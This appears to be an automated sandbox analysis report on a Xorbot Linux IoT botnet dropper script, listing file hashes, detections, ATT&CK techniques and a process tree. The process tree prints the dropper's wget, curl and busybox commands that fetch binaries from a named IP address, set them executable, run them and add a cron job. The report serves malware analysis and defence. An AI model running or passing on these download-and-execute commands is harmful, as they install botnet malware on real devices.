xorbot | 6be9b943dcfdfa48fd7d9d38cfad2decda4eaad06b64f9602a37da7aa78aef13

Analysis

max time kernel
141s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
03/12/2024, 11:05

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General

Target

bins.sh
Size

10KB
MD5

bfffb3d2e49097085b53b3afde692a37
SHA1

db34a62b3c3e16ac310e1318e02b252a484e5cee
SHA256

6be9b943dcfdfa48fd7d9d38cfad2decda4eaad06b64f9602a37da7aa78aef13
SHA512

81c880c24a598a9c8424aed4497f3bcb2998143b4ab5033f3a10c07ff147123e7c75b4c02630a2a8998400ac7106889750115a30eb84759ddd9da4f0131a8004
SSDEEP

192:5yXQoVEw8wYwOw5wZwnhnzqIw8wYwOw5wZwH9x:5yX9Bb/diCnhnzCb/diCHr

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1515	chmod
1522	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4	1516	JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
/tmp/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel	1523	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel

Renames itself 1 IoCs

pid	Process
1524	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.chpuKI	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1549/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1608/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/12/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1164/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1561/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/970/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1357/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1595/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/428/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1293/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/89/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/662/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/964/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1176/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1615/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/2/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/34/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1563/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1590/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1592/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/99/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/455/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1170/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1498/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1541/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1576/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1609/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/80/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1150/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1216/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/179/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/262/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1185/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1558/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/167/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/637/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/10/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/461/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/130/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/352/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/436/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/446/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1601/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1610/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/29/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/83/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1127/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1153/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1343/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/35/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/116/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/355/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/16/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/171/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1569/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1599/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/92/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1536/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1186/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1477/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1494/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1611/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1070/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
File opened for reading	/proc/1148/cmdline	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1530	rm
1519	wget
1520	curl
1521	busybox
1523	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel	busybox
File opened for modification	/tmp/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4	wget
File opened for modification	/tmp/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4	curl
File opened for modification	/tmp/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4	busybox
File opened for modification	/tmp/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel	wget
File opened for modification	/tmp/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1498
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1499
- /usr/bin/wget
  wget http://216.126.231.240/bins/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
  2⤵
  - Writes file to tmp directory
  PID:1500
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
  2⤵
  - Writes file to tmp directory
  PID:1505
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
  2⤵
  - Writes file to tmp directory
  PID:1514
- /bin/chmod
  chmod 777 JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
  2⤵
  - File and Directory Permissions Modification
  PID:1515
- /tmp/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
  ./JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
  2⤵
  - Executes dropped EXE
  PID:1516
- /bin/rm
  rm JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
  2⤵
  PID:1518
- /usr/bin/wget
  wget http://216.126.231.240/bins/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1519
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1520
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1521
- /bin/chmod
  chmod 777 nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
  2⤵
  - File and Directory Permissions Modification
  PID:1522
- /tmp/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
  ./nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:1523
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1525
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1526
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1527
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1528
- /bin/rm
  rm nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
  2⤵
  - System Network Configuration Discovery
  PID:1530
- /usr/bin/wget
  wget http://216.126.231.240/bins/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
  2⤵
  PID:1533

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.chpuKI

Filesize
210B

MD5
d5c307df8eb9a6f5cb0bce6616fbcc8e

SHA1
3f2a0765ec5ca9be4e8275b5c7957f9fa5bc5527

SHA256
5ee562759300f45fcd0844d9994e54909289e0eb075966bb452cb0d772347375

SHA512
4918f82cccbbaa616e486ae95fab6b8c2d35fbf2ca459136e172f457f72f35a276557b72696c5832f8ac144fd5185958264f931c42e4dd6fb821db5732dd0328

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads